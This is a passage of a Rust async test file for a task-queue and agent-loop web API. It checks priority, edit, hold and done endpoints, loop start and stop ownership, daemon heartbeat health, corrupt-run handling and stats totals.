7948 let released = f
7949 .post(&format!("/api/queue/{}/release", task.id), None)
7950 .await;
7951 assert_eq!(released.status, 200);
7952 assert!(
7953 released.json()["hold_reason"].is_null(),
7954 "a release must clear the reason so the next hold does not inherit it"
7955 );
7956 }
7957
7958 #[tokio::test]
7959 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
7960 let f = Fixture::start().await;
7961 let queue = f.queue();
7962 let mut older = Task::new(
7963 "filed first".to_owned(),
7964 "x".to_owned(),
7965 PathBuf::from("/repo/magi"),
7966 Source::Human,
7967 );
7968 older.id = "20260101-000001-aaaa".to_owned();
7969 let mut newer = Task::new(
7970 "filed second".to_owned(),
7971 "x".to_owned(),
7972 PathBuf::from("/repo/magi"),
7973 Source::Human,
7974 );
7975 newer.id = "20260101-000002-bbbb".to_owned();
7976 queue.put(&mut older).expect("file older");
7977 queue.put(&mut newer).expect("file newer");
7978
7979 let before = f.get("/api/queue").await.json();
7982 assert_eq!(before[0]["id"], newer.id);
7983 assert_eq!(before[1]["id"], older.id);
7984
7985 let raised = f
7989 .post(
7990 &format!("/api/queue/{}/priority", older.id),
7991 Some(r#"{"priority":10}"#),
7992 )
7993 .await;
7994 assert_eq!(raised.status, 200, "{}", raised.body);
7995 assert_eq!(raised.json()["priority"], 10);
7996
7997 let after = f.get("/api/queue").await.json();
7998 let names: Vec<&str> = after
7999 .as_array()
8000 .unwrap()
8001 .iter()
8002 .map(|t| t["id"].as_str().unwrap())
8003 .collect();
8004 assert_eq!(names[0], older.id, "the raised task now sorts first");
8008 }
8009
8010 #[tokio::test]
8011 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
8012 let f = Fixture::start().await;
8013 let queue = f.queue();
8014 let mut task = Task::new(
8015 "in flight".to_owned(),
8016 "x".to_owned(),
8017 PathBuf::from("/repo/magi"),
8018 Source::Human,
8019 );
8020 task.start("20260902-140502-bbbb".to_owned());
8021 queue.put(&mut task).expect("file the task");
8022
8023 let res = f
8024 .post(
8025 &format!("/api/queue/{}/priority", task.id),
8026 Some(r#"{"priority":9}"#),
8027 )
8028 .await;
8029 assert_eq!(res.status, 400, "{}", res.body);
8030 assert!(
8031 res.json()["error"]
8032 .as_str()
8033 .is_some_and(|e| e.contains("running")),
8034 "{}",
8035 res.body
8036 );
8037 assert_eq!(
8038 queue.get(&task.id).expect("reload").priority,
8039 0,
8040 "the refused write must not partially apply"
8041 );
8042 }
8043
8044 #[tokio::test]
8045 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
8046 let f = Fixture::start().await;
8047 let queue = f.queue();
8048 let mut task = Task::new(
8049 "old title".to_owned(),
8050 "old instruction".to_owned(),
8051 PathBuf::from("/repo/magi"),
8052 Source::Agent {
8053 run: "20260101-000000-beef".to_owned(),
8054 node: "implement".to_owned(),
8055 },
8056 );
8057 task.runs.push("20260101-000000-beef".to_owned());
8058 queue.put(&mut task).expect("file the task");
8059 let created_at = task.created_at;
8060
8061 let edited = f
8062 .post(
8063 &format!("/api/queue/{}/edit", task.id),
8064 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
8065 )
8066 .await;
8067 assert_eq!(edited.status, 200, "{}", edited.body);
8068 let body = edited.json();
8069 assert_eq!(body["title"], "new title");
8070 assert_eq!(body["instruction"], "new instruction");
8071 assert_eq!(body["id"], task.id, "editing must not mint a new id");
8072 assert_eq!(body["created_at"], created_at.to_string());
8073 assert_eq!(
8074 body["source"]["kind"], "agent",
8075 "editing a task an agent filed must not turn it human: {body}"
8076 );
8077 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
8078
8079 let reloaded = queue.get(&task.id).expect("reload");
8080 assert_eq!(reloaded.title, "new title");
8081 assert_eq!(reloaded.instruction, "new instruction");
8082 }
8083
8084 #[tokio::test]
8085 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
8086 let f = Fixture::start().await;
8087 let queue = f.queue();
8088 let mut owner = Task::new(
8089 "owner".to_owned(),
8090 "review it".to_owned(),
8091 PathBuf::from("/repo/magi"),
8092 Source::Human,
8093 );
8094 owner.review_branch = Some("magi/ab12/A".to_owned());
8095 queue.put(&mut owner).expect("file the owner");
8096 let mut task = Task::new(
8097 "draft".to_owned(),
8098 "old".to_owned(),
8099 PathBuf::from("/repo/magi"),
8100 Source::Human,
8101 );
8102 queue.put(&mut task).expect("file the draft");
8103 let url = format!("/api/queue/{}/edit", task.id);
8104
8105 let refused = f
8106 .post(
8107 &url,
8108 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
8109 )
8110 .await;
8111 assert_eq!(refused.status, 409, "{}", refused.body);
8112 let msg = refused.json()["error"]
8113 .as_str()
8114 .unwrap_or_default()
8115 .to_owned();
8116 assert!(
8117 msg.contains("magi/ab12/A") && msg.contains("force"),
8118 "{msg}"
8119 );
8120 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
8121
8122 let forced = f
8123 .post(
8124 &url,
8125 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
8126 )
8127 .await;
8128 assert_eq!(forced.status, 200, "{}", forced.body);
8129 }
8130
8131 #[tokio::test]
8132 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
8133 let f = Fixture::start().await;
8134 let queue = f.queue();
8135 let mut task = Task::new(
8136 "in flight".to_owned(),
8137 "do not touch".to_owned(),
8138 PathBuf::from("/repo/magi"),
8139 Source::Human,
8140 );
8141 task.start("20260902-140502-bbbb".to_owned());
8142 queue.put(&mut task).expect("file the task");
8143
8144 let res = f
8145 .post(
8146 &format!("/api/queue/{}/edit", task.id),
8147 Some(r#"{"title":"x","instruction":"y"}"#),
8148 )
8149 .await;
8150 assert_eq!(res.status, 400, "{}", res.body);
8151 assert!(
8152 res.json()["error"]
8153 .as_str()
8154 .is_some_and(|e| e.contains("running")),
8155 "{}",
8156 res.body
8157 );
8158 assert_eq!(
8159 queue.get(&task.id).expect("reload").instruction,
8160 "do not touch",
8161 "the refused edit must not change the file"
8162 );
8163 }
8164
8165 #[tokio::test]
8166 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
8167 let f = Fixture::start().await;
8168 let queue = f.queue();
8169 let mut task = Task::new(
8170 "busy".to_owned(),
8171 "Running right now".to_owned(),
8172 PathBuf::from("/repo/magi"),
8173 Source::Human,
8174 );
8175 queue.put(&mut task).expect("file the task");
8176 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
8177
8178 let priority = f
8179 .post(
8180 &format!("/api/queue/{}/priority", task.id),
8181 Some(r#"{"priority":9}"#),
8182 )
8183 .await;
8184 assert_eq!(priority.status, 409, "{}", priority.body);
8185
8186 let edit = f
8187 .post(
8188 &format!("/api/queue/{}/edit", task.id),
8189 Some(r#"{"title":"x","instruction":"y"}"#),
8190 )
8191 .await;
8192 assert_eq!(edit.status, 409, "{}", edit.body);
8193 }
8194
8195 #[tokio::test]
8196 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
8197 let f = Fixture::start().await;
8198 let queue = f.queue();
8199 let mut task = Task::new(
8200 "shipped by hand".to_owned(),
8201 "merged outside the loop".to_owned(),
8202 PathBuf::from("/repo/magi"),
8203 Source::Agent {
8204 run: "20260101-000000-b455".to_owned(),
8205 node: "implement".to_owned(),
8206 },
8207 );
8208 task.runs.push("20260101-000000-b455".to_owned());
8209 task.runs.push("20260101-000000-9af4".to_owned());
8210 queue.put(&mut task).expect("file the task");
8211 let created_at = task.created_at;
8212
8213 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8214 assert_eq!(done.status, 200, "{}", done.body);
8215 assert_eq!(done.json()["status_str"], "done");
8216
8217 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
8218 assert_eq!(
8219 reloaded.runs,
8220 ["20260101-000000-b455", "20260101-000000-9af4"]
8221 );
8222 assert_eq!(
8223 reloaded.source,
8224 Source::Agent {
8225 run: "20260101-000000-b455".to_owned(),
8226 node: "implement".to_owned(),
8227 }
8228 );
8229 assert_eq!(reloaded.created_at, created_at);
8230 }
8231
8232 #[tokio::test]
8233 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
8234 let f = Fixture::start().await;
8239 let queue = f.queue();
8240 let mut task = Task::new(
8241 "landed while held".to_owned(),
8242 "x".to_owned(),
8243 PathBuf::from("/repo/magi"),
8244 Source::Human,
8245 );
8246 task.hold_manual(Some("waiting on 3ed9".to_owned()));
8247 queue.put(&mut task).expect("file the held task");
8248
8249 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8250 assert_eq!(done.status, 200, "{}", done.body);
8251 assert_eq!(done.json()["status_str"], "done");
8252 assert!(
8253 done.json()["hold_reason"].is_null(),
8254 "a done task cannot still be waiting on something: {}",
8255 done.body
8256 );
8257 }
8258
8259 #[tokio::test]
8260 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
8261 let f = Fixture::start().await;
8266 let queue = f.queue();
8267 let runs = f.runs();
8268 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
8269 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
8273
8274 let mut task = Task::new(
8275 "landed by hand".to_owned(),
8276 "x".to_owned(),
8277 PathBuf::from("/repo/magi"),
8278 Source::Human,
8279 );
8280 task.runs.push("20260101-000000-doa1".to_owned());
8281 task.runs.push("20260101-000000-doa2".to_owned());
8282 queue.put(&mut task).expect("file the task");
8283
8284 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8285 assert_eq!(done.status, 200, "{}", done.body);
8286
8287 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
8288 .expect("run still on disk under this fixture's own home");
8289 assert_eq!(
8290 reloaded_run.status,
8291 RunStatus::Superseded,
8292 "closing the task by hand must relabel the earlier blocked attempt exactly \
8293 like the loop's own settle path does"
8294 );
8295 }
8296
8297 #[tokio::test]
8298 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
8299 let f = Fixture::start().await;
8304 let queue = f.queue();
8305 let runs = f.runs();
8306 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
8307 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
8308
8309 let mut task = Task::new(
8310 "closed with nothing actually landed".to_owned(),
8311 "x".to_owned(),
8312 PathBuf::from("/repo/magi"),
8313 Source::Human,
8314 );
8315 task.runs.push("20260101-000000-dob1".to_owned());
8316 task.runs.push("20260101-000000-dob2".to_owned());
8317 queue.put(&mut task).expect("file the task");
8318
8319 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8320 assert_eq!(done.status, 200, "{}", done.body);
8321
8322 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
8323 .expect("run still on disk under this fixture's own home");
8324 assert_eq!(
8325 reloaded_run.status,
8326 RunStatus::Blocked,
8327 "the last recorded attempt never landed, so the earlier one must not be \
8328 relabelled as superseded by it"
8329 );
8330 }
8331
8332 #[tokio::test]
8333 async fn unknown_ids_are_json_not_found_on_both_stores() {
8334 let f = Fixture::start().await;
8335
8336 let run = f.get("/api/runs/nosuchrun").await;
8337 let task = f.post("/api/queue/nosuchtask/hold", None).await;
8338
8339 assert_eq!(run.status, 404);
8340 assert_eq!(task.status, 404);
8341 assert!(
8342 run.json()["error"]
8343 .as_str()
8344 .is_some_and(|e| e.contains("run")),
8345 "the error names what was not found: {}",
8346 run.body
8347 );
8348 assert!(
8349 task.json()["error"]
8350 .as_str()
8351 .is_some_and(|e| e.contains("task")),
8352 "the error names what was not found: {}",
8353 task.body
8354 );
8355 }
8356
8357 #[tokio::test]
8358 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
8359 let f = Fixture::start().await;
8360
8361 let missing = f.get("/api/health").await.json();
8362 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
8363
8364 write_daemon(
8365 f.home.path(),
8366 Timestamp::now() - jiff::SignedDuration::from_secs(60),
8367 );
8368 let stale = f.get("/api/health").await.json();
8369 assert_eq!(
8370 stale["daemon"]["running"], false,
8371 "a minute without a heartbeat is a dead daemon, not a busy one"
8372 );
8373 assert!(
8374 stale["daemon"]["stale_for_secs"]
8375 .as_i64()
8376 .is_some_and(|s| s >= 55),
8377 "staleness is reported so the UI can say how long: {stale}"
8378 );
8379
8380 write_daemon(f.home.path(), Timestamp::now());
8381 let fresh = f.get("/api/health").await.json();
8382 assert_eq!(fresh["daemon"]["running"], true);
8383 assert_eq!(fresh["daemon"]["idle"], false);
8384 assert_eq!(fresh["daemon"]["pid"], 4242);
8385 assert_eq!(fresh["daemon"]["completed"], 7);
8386 assert_eq!(
8387 fresh["daemon"]["current"][0]["task"],
8388 "20260902-140501-aaaa"
8389 );
8390 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
8391 }
8392
8393 #[tokio::test]
8394 async fn the_loop_is_not_running_until_something_starts_it() {
8395 let f = Fixture::start().await;
8396
8397 let view = f.get("/api/loop").await.json();
8398 assert_eq!(view["running"], false);
8399 assert_eq!(
8400 view["owned"], false,
8401 "nobody owns a loop that does not exist: {view}"
8402 );
8403 assert_eq!(view["stopping"], false);
8404 assert_eq!(view["last_error"], Value::Null);
8405 assert_eq!(view["daemon"]["running"], false);
8406 assert_eq!(
8407 view["repo"], "/repo/magi",
8408 "the repository a start would use, named before it is started"
8409 );
8410 }
8411
8412 #[tokio::test]
8413 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
8414 let f = Fixture::start().await;
8415
8416 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8417 assert_eq!(res.status, 200, "{}", res.body);
8418 let view = res.json();
8419 assert_eq!(view["running"], true);
8420 assert_eq!(
8421 view["owned"], true,
8422 "the loop the UI started is the UI's own to stop: {view}"
8423 );
8424 assert_eq!(
8425 view["merge"],
8426 Value::Null,
8427 "no override was given, so each repository's own config decides"
8428 );
8429
8430 let health = f.get("/api/health").await.json();
8434 assert_eq!(health["loop"]["running"], true, "{health}");
8435 assert_eq!(health["loop"]["owned"], true, "{health}");
8436
8437 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8438 }
8439
8440 #[tokio::test]
8441 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
8442 let f = Fixture::start().await;
8443 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8444 assert_eq!(first.status, 200, "{}", first.body);
8445
8446 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8447 assert_eq!(
8448 again.status, 409,
8449 "two loops on one queue race for the same claims: {}",
8450 again.body
8451 );
8452 assert!(
8453 again.json()["error"]
8454 .as_str()
8455 .is_some_and(|e| e.contains("already running the loop")),
8456 "the refusal has to say why: {}",
8457 again.body
8458 );
8459 assert_eq!(
8460 f.get("/api/loop").await.json()["running"],
8461 true,
8462 "and the loop that was already running is untouched by it"
8463 );
8464
8465 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8466 }
8467
8468 #[tokio::test]
8469 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
8470 let f = Fixture::start().await;
8471 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8472
8473 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8474 assert_eq!(
8475 res.status, 200,
8476 "the answer must not wait for the loop: a run in flight is tens of \
8477 minutes and the operator is holding a phone: {}",
8478 res.body
8479 );
8480
8481 let view = settled(&f, |v| v["running"] == false).await;
8482 assert_eq!(view["owned"], false);
8483 assert_eq!(
8484 view["stopping"], false,
8485 "a loop that has stopped is not still stopping: {view}"
8486 );
8487 assert_eq!(
8488 view["last_error"],
8489 Value::Null,
8490 "a loop that was asked to stop did not fail: {view}"
8491 );
8492
8493 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8496 assert_eq!(twice.status, 200, "{}", twice.body);
8497 }
8498
8499 #[tokio::test]
8500 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
8501 let f = Fixture::start().await;
8502 write_daemon(f.home.path(), Timestamp::now());
8505
8506 let view = f.get("/api/loop").await.json();
8507 assert_eq!(view["running"], false, "not in this process: {view}");
8508 assert_eq!(view["owned"], false, "and not this process's to control");
8509 assert_eq!(
8510 view["daemon"]["running"], true,
8511 "but a loop is alive somewhere, which is what the UI must say"
8512 );
8513 assert_eq!(view["daemon"]["pid"], 4242);
8514
8515 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
8516 let res = f.post("/api/loop", Some(body)).await;
8517 assert_eq!(
8518 res.status, 409,
8519 "neither button may pretend to work on someone else's loop: {}",
8520 res.body
8521 );
8522 assert!(
8523 res.json()["error"]
8524 .as_str()
8525 .is_some_and(|e| e.contains("4242")),
8526 "the refusal has to name the process the operator must go to: {}",
8527 res.body
8528 );
8529 }
8530 assert_eq!(
8531 f.get("/api/loop").await.json()["running"],
8532 false,
8533 "and the refusal started nothing"
8534 );
8535 }
8536
8537 #[tokio::test]
8538 async fn a_stale_status_file_is_not_a_foreign_owner() {
8539 let f = Fixture::start().await;
8540 write_daemon(
8541 f.home.path(),
8542 Timestamp::now() - jiff::SignedDuration::from_secs(60),
8543 );
8544
8545 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8546 assert_eq!(
8547 res.status, 200,
8548 "a daemon killed a minute ago must not lock the loop out of its \
8549 own home for good: {}",
8550 res.body
8551 );
8552 assert_eq!(res.json()["running"], true);
8553
8554 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8555 }
8556
8557 #[tokio::test]
8558 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
8559 let f = Fixture::start().await;
8560 let before = f.get("/api/health").await.json()["loop_rev"]
8561 .as_u64()
8562 .expect("a loop revision");
8563
8564 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8565
8566 let after = f.get("/api/health").await.json()["loop_rev"]
8567 .as_u64()
8568 .expect("a loop revision");
8569 assert!(
8570 after > before,
8571 "the loop is in-process state, so this counter is the only thing \
8572 that tells a second device the first one started it: {before} -> \
8573 {after}"
8574 );
8575
8576 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8577 }
8578
8579 #[tokio::test]
8580 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
8581 let f = Fixture::with_loop(launch_broken).await;
8582
8583 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8584 assert_eq!(
8585 res.status, 200,
8586 "starting it is not the failure: {}",
8587 res.body
8588 );
8589
8590 let view = settled(&f, |v| v["last_error"].is_string()).await;
8591 assert_eq!(
8592 view["running"], false,
8593 "a loop that died must not read as running, or the operator has \
8594 nothing to press: {view}"
8595 );
8596 assert_eq!(view["owned"], false);
8597 assert!(
8598 view["last_error"]
8599 .as_str()
8600 .is_some_and(|e| e.contains("read-only file system")),
8601 "the phone is where a loop that died at 3am is visible: {view}"
8602 );
8603
8604 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8607 assert_eq!(again.status, 200, "{}", again.body);
8608 assert_eq!(
8609 again.json()["last_error"],
8610 Value::Null,
8611 "a fresh start does not keep showing why the last one died"
8612 );
8613 }
8614
8615 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
8627 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
8628 let home = TempDir::new().expect("temp home");
8629 let runs = home.path().join("runs");
8630 std::fs::create_dir_all(&runs).expect("runs dir");
8631 let ui = Ui::new(
8632 Queue::at(home.path().join("queue")),
8633 Questions::at(home.path().join("questions")),
8634 Talks::at(home.path().join("talks")),
8635 runs,
8636 home.path().to_path_buf(),
8637 PathBuf::from("/repo/magi"),
8638 )
8639 .with_worktrees_root(home.path().join("wt"))
8640 .with_launch(launch_knocking_on_the_way_out);
8641 let looping = ui.looping();
8642 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8643 .await
8644 .expect("bind loopback");
8645 let addr = listener.local_addr().expect("local addr");
8646 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
8647 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8648
8649 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
8650 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
8651
8652 let bound = std::sync::Mutex::new(None);
8667 hand_over(home.path(), &looping, served, |_| {
8668 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
8669 let attempt = loop {
8670 match std::net::TcpListener::bind(addr) {
8671 Ok(l) => {
8672 drop(l);
8673 break Ok(());
8674 }
8675 Err(e)
8676 if e.kind() == std::io::ErrorKind::AddrInUse
8677 && std::time::Instant::now() < deadline =>
8678 {
8679 std::thread::sleep(std::time::Duration::from_millis(10));
8680 }
8681 Err(e) => break Err(e.to_string()),
8682 }
8683 };
8684 *bound.lock().expect("bound") = Some(attempt);
8685 Ok(())
8686 })
8687 .await
8688 .expect("hand over");
8689
8690 assert_eq!(
8691 *PARK_HEARD.lock().expect("park heard"),
8692 Some(200),
8693 "the deck must answer while the loop is parking"
8694 );
8695 let attempt = bound
8696 .lock()
8697 .expect("bound")
8698 .take()
8699 .expect("the successor was started");
8700 assert!(
8701 attempt.is_ok(),
8702 "and the address must be free by the time it is: {attempt:?}"
8703 );
8704 }
8705
8706 #[tokio::test]
8707 async fn a_newer_daemon_status_file_still_renders() {
8708 let f = Fixture::start().await;
8709 std::fs::write(
8712 f.home.path().join("daemon.json"),
8713 serde_json::json!({
8714 "schema": 2,
8715 "updated_at": Timestamp::now().to_string(),
8716 "idle": true,
8717 "surprise": { "nested": [1, 2, 3] },
8718 })
8719 .to_string(),
8720 )
8721 .expect("write daemon.json");
8722
8723 let health = f.get("/api/health").await;
8724
8725 assert_eq!(health.status, 200);
8726 assert_eq!(health.json()["daemon"]["running"], true);
8727 }
8728
8729 #[tokio::test]
8730 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
8731 let f = Fixture::start().await;
8732 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
8733 let broken = f.runs().join("20260902-140502-bad");
8734 std::fs::create_dir_all(&broken).expect("run dir");
8735 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
8736
8737 let list = f.get("/api/runs").await;
8738 let detail = f.get("/api/runs/20260902-140502-bad").await;
8739
8740 assert_eq!(list.status, 200);
8741 let listed = list.json();
8742 let ids: Vec<&str> = listed
8743 .as_array()
8744 .expect("an array")
8745 .iter()
8746 .map(|r| r["id"].as_str().expect("an id"))
8747 .collect();
8748 assert_eq!(
8749 ids,
8750 vec!["20260902-140501-good"],
8751 "one unreadable run must not cost the operator the whole history"
8752 );
8753 assert_eq!(detail.status, 500);
8754 assert!(
8755 detail.json()["error"]
8756 .as_str()
8757 .is_some_and(|e| e.contains("run.json")),
8758 "the failure names the file to look at: {}",
8759 detail.body
8760 );
8761 let health = f.get("/api/health").await;
8765 assert_eq!(health.json()["runs_unreadable"], 1);
8766 }
8767
8768 #[tokio::test]
8773 async fn stats_runs_unreadable_matches_health() {
8774 let f = Fixture::start().await;
8775 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
8776 let broken = f.runs().join("20260902-140502-bad");
8777 std::fs::create_dir_all(&broken).expect("run dir");
8778 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
8779
8780 let stats = f.get("/api/stats").await;
8781 let health = f.get("/api/health").await;
8782
8783 assert_eq!(stats.status, 200);
8784 assert_eq!(stats.json()["totals"]["runs"], 1);
8785 assert_eq!(stats.json()["runs_unreadable"], 1);
8786 assert_eq!(
8787 stats.json()["runs_unreadable"],
8788 health.json()["runs_unreadable"],
8789 "the dashboard and /api/health must never disagree about how many \
8790 runs could not be read"
8791 );
8792 }
8793
8794 #[tokio::test]
8795 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
8796 let f = Fixture::start().await;
8797 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
8798 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
8799 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
8800
8801 let totals = &f.get("/api/stats").await.json()["totals"];
8802 assert_eq!(totals["runs"], 3);
8803 assert_eq!(totals["merged"], 1);
8804 assert_eq!(totals["stalled"], 1);
8805 assert_eq!(totals["in_progress"], 1);
8806 assert_eq!(totals["blocked"], 0);
8809 assert_eq!(totals["ready"], 0);
8810 }
8811
8812 #[tokio::test]
8813 async fn stats_advisors_report_proposals_and_reflection() {
8814 use crate::advise::{Advice, AdvisorRecord, Reflection};
8815 use crate::verdict::Proposal;
8816
8817 let f = Fixture::start().await;
8818 let mut state = RunState::new(
8819 PathBuf::from("/repo/magi"),
8820 "main".to_owned(),
8821 "0123456789abcdef".to_owned(),
8822 "task".to_owned(),
8823 Config::default(),
8824 );
8825 state.id = "20260902-140501-a".to_owned();
8826 state.status = RunStatus::Merged;
8827 state.advice = Some(Advice {
8828 records: vec![
8829 AdvisorRecord {
8830 seat: "advisor-1".to_owned(),
8831 agent: "alpha".to_owned(),
8832 proposal: Some(Proposal {
8833 approach: "do it".to_owned(),
8834 key_tradeoff: "speed over memory".to_owned(),
8835 risks: Vec::new(),
8836 touches: Vec::new(),
8837 why_not_naive: "breaks under load".to_owned(),
8838 }),
8839 error: None,
8840 duration_ms: 0,
8841 reflection: Reflection::Strong,
8842 },
8843 AdvisorRecord {
8844 seat: "advisor-2".to_owned(),
8845 agent: "alpha".to_owned(),
8846 proposal: None,
8847 error: Some("timed out".to_owned()),
8848 duration_ms: 0,
8849 reflection: Reflection::Absent,
8850 },
8851 ],
8852 synthesis: Some("blended brief".to_owned()),
8853 });
8854 let dir = f.runs().join(&state.id);
8855 std::fs::create_dir_all(&dir).expect("run dir");
8856 std::fs::write(
8857 dir.join("run.json"),
8858 serde_json::to_string_pretty(&state).expect("serialize run"),
8859 )
8860 .expect("write run.json");
8861
8862 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
8863 let alpha = advisors
8864 .as_array()
8865 .expect("an array")
8866 .iter()
8867 .find(|a| a["agent"] == "alpha")
8868 .expect("alpha row");
8869 assert_eq!(alpha["seated"], 2);
8870 assert_eq!(alpha["proposed"], 1);
8871 assert_eq!(alpha["absent"], 1);
8872 assert_eq!(alpha["strong"], 1);
8873 assert_eq!(alpha["faint"], 0);
8874 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
8875 }
8876
8877 #[tokio::test]
8878 async fn stats_release_bumps_split_clean_from_attention() {
8879 use crate::run::ReleaseBump;
8880
8881 let f = Fixture::start().await;
8882
8883 let mut clean = RunState::new(
8884 PathBuf::from("/repo/magi"),
8885 "main".to_owned(),
8886 "0123456789abcdef".to_owned(),
8887 "task".to_owned(),
8888 Config::default(),
8889 );
8890 clean.id = "20260902-140501-a".to_owned();
8891 clean.status = RunStatus::Merged;
8892 clean.release_bump = Some(ReleaseBump {
8893 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
8894 version: Some("1.0.0".to_owned()),
8895 automerge_enabled: true,
8896 merged_directly: false,
8897 problem: None,
8898 action_required: None,
8899 });
8900
8901 let mut blocked = RunState::new(
8902 PathBuf::from("/repo/magi"),
8903 "main".to_owned(),
8904 "0123456789abcdef".to_owned(),
8905 "task".to_owned(),
8906 Config::default(),
8907 );
8908 blocked.id = "20260902-140502-b".to_owned();
8909 blocked.status = RunStatus::Merged;
8910 blocked.release_bump = Some(ReleaseBump {
8911 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
8912 version: Some("1.0.1".to_owned()),
8913 automerge_enabled: false,
8914 merged_directly: false,
8915 problem: Some("checks red".to_owned()),
8916 action_required: Some("look at the PR".to_owned()),
8917 });
8918
8919 for state in [&clean, &blocked] {
8920 let dir = f.runs().join(&state.id);
8921 std::fs::create_dir_all(&dir).expect("run dir");
8922 std::fs::write(
8923 dir.join("run.json"),
8924 serde_json::to_string_pretty(state).expect("serialize run"),
8925 )
8926 .expect("write run.json");
8927 }
8928
8929 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8930 assert_eq!(bumps["merged"], 2);
8931 assert_eq!(bumps["recorded"], 2);
8932 assert_eq!(bumps["pr_opened"], 2);
8933 assert_eq!(bumps["automerge_enabled"], 1);
8934 assert_eq!(bumps["needs_attention"], 1);
8935 assert_eq!(bumps["clean"], 1);
8936 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
8937 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
8938 }
8939
8940 #[tokio::test]
8941 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
8942 let f = Fixture::start().await;
8943 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
8944
8945 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8946 assert_eq!(bumps["merged"], 1);
8947 assert_eq!(bumps["recorded"], 0);
8948 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
8951 assert_eq!(bumps["automerge_rate"], Value::Null);
8954 assert_eq!(bumps["attention_rate"], Value::Null);
8955 }
8956
8957 #[tokio::test]
8958 async fn stats_queue_counts_come_from_the_live_queue() {
8959 let f = Fixture::start().await;
8960 let q = f.queue();
8961 let mut queued = Task::new(
8962 "queued task".to_owned(),
8963 "do it".to_owned(),
8964 PathBuf::from("/repo"),
8965 Source::Human,
8966 );
8967 q.put(&mut queued).expect("put queued");
8968 let mut held = Task::new(
8969 "held task".to_owned(),
8970 "do it later".to_owned(),
8971 PathBuf::from("/repo"),
8972 Source::Human,
8973 );
8974 held.hold_machine(Some("out of attempts".to_owned()));
8975 q.put(&mut held).expect("put held");
8976
8977 let queue = f.get("/api/stats").await.json()["queue"].clone();
8978 assert_eq!(queue["queued"], 1);
8979 assert_eq!(queue["held"], 1);
